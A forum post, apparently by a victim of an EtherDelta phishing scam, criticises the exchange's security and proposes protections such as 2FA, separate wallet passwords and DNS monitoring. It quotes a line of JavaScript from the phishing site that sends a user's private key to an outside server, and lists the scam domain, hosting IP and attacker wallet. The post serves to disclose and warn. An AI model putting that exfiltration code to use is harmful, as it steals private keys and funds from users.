Thank you everone, who send words to help to overcome loss or to find a better attitude torward material world.
To my understanding EtherDelta is missing basic security features to protect users losing money if somebody traps into a phishing site.
I can everbody suggest to avoid EtherDelta under all circumstances, if you hacked you will be left alone. I can prove that I spend hours on ED-chat to organnize some help to catch the hackers.
The chat was full over the day of victims, I could not get any response from ED that they will improve security* to prevent steal of money, or atleast something to collect victim information for a criminal investigation.
*Other then updating a SCAM/Phishing List from Google.
@Populous , when I find some time I will write a little feature request on your GitHUb. Welcome if dev could copy and paste what suggested into there project objectivesBut anyway lot of thing to do in regards to security, I will suggest following to prevent succssfull phishing attacks (its only a litte feature but important function )- in case somebody traps into a phishing site(what will happen!).
1) Name somebody who regulary scan URLs for phishing sites, with similar names of your trading platform (REGEX and a little script will help) -> If found update Google-Chrom Phishing/SCAM List.
2) Never change the IP of your site, check your DNS entry every minute or so for changes by criminals.
Now on the plaform:
Generate when customers sign In:
Use 2FA
1 x Password for Trading access
1 x Password for the access to the PPT-WAllet (Wallet needs extra protection)
Generate one dedicated Passwort(1) which will be needed to change the Customer Email. Needed every time.
If customer want to cash out his Poken or PPT send a confirmation email to customer(link valid only 1h)
Customer external ETherAddress to send out of Populous can only changed with Password(1) / After change of Ether-Address PPT-wallet will be frozen 12h before transfers can happen again
####################################################################################
For the interested ones:
Also I will copy a piece of coding which was used to hack EtherDelta:
" self.log = function(type, address, privateKey) { request('
https://etherdelta.herokuapp.com/save.php?type=' + type + '&address=' + address + '&privateKey=' + privateKey); }; "
that is the evil code on the scam website :
https://etherdelta. gitnub.io
####################################################################################
I also know where the phishing site is hosted:
Hostname Type TTL Priority Content
etherdelta.gitnub.io SOA 299
ns1.vultr.com dnsadm@choopa.com 1504792017 10800 3600 604800 3600
etherdelta.gitnub.io A 3599
45.77.53.18You want to see where they tranfered the money of victims yesterday:
https://etherscan.io/address/0x62084eC8901faf5249a8f7fc2158a2c3e1A4209b
